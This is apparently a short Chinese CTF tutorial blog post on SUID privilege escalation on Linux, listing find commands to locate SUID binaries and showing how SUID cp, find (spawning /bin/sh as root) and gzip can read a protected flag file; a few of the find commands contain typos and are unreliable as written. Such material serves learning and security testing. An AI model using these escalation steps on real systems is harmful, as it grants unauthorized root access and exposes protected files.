ctf&提权

suid 提权

SUID(Set User ID)是一种特殊权限,当用户执行具有SUID位的可执行文件时,该文件将以文件所有者的身份而不是执行者的身份运行。这允许普通用户在执行特定程序时获取特权权限。

1.查找具有suid权限的文件

    find / -user root -perm -4000-exec ls -ldb {} \;
    find / -perm -u=s -type f 2>/dev/null
    find / -user root -perm -4000-print2>/del/null

2.利用文件提权

/bin下的文件实际就是我们执行的命令,可以看到cp命令是有suid权限的(这个不同的系统不一样),我们在执行cp命令时就会有root权限,可以读取更高权限的文件

例如:cp /flag_dd3f6380aa0d /dev/stdout

如果find命令也有suid权限,我们也可以执行

find text.sh -exec "/bin/sh" \;  

效果就是在当前目录下查找名为"text.sh"的文件,并以root权限打开一个新的shell。

gzip -f /flag -t         //gzip读文件

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值